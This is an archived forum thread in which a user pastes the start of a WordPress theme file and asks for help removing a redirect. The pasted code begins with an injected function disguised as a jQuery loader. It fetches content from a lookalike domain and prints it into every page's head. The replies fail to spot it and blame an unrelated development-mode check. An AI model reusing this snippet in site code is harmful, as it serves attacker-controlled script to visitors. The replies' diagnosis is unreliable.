...

View Full Version : My theme redirects please help to remove redirect



africaon
01-14-2013, 03:50 PM
<?php if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}
define('THEME_SHORT_NAME', 'charity');
define('THEME_LONG_NAME', 'African Charity theme');
define('THEME_CODE_NAME', 'afrocharity');


if(file_exists(dirname(__FILE__) . '/.dev')){
define('AIT_DEVELOPMENT', true); // is this development mode?
} else {
ini_set('error_reporting', E_ALL ^ (E_NOTICE | E_WARNING));
}

$aitThemeCustomTypes = array(
'portfolio' => 31,
'service-box' => 33,
'room' => 34,

charlyanderson
01-14-2013, 04:19 PM
I think you would need to give more info for someone to help as there doesnt seem to be much in the code you pasted in :)

VIPStephan
01-14-2013, 04:20 PM
Why are you posting PHP code in the JavaScript frameworks forum? If this is a question related to jQuery then please post your JavaScript, not the PHP. Also, I don’t see any PHP redirect here so it must be something somewhere else, definitely not in the code you posted.

The only thing I could think of right now is this:


if(file_exists(dirname(__FILE__) . '/.dev')){
define('AIT_DEVELOPMENT', true); // is this development mode?




Do you have a file called .dev somewhere or do you know if you are in development mode?

africaon
02-03-2013, 04:23 PM
No and no file and not in development mode. It redirects to this url {$url="http://www.jqueryc.com/

as indicated in the code above.

If I removed the redirect it does not open.



EZ Archive Ads Plugin for vBulletin Copyright 2006 Computer Help Forum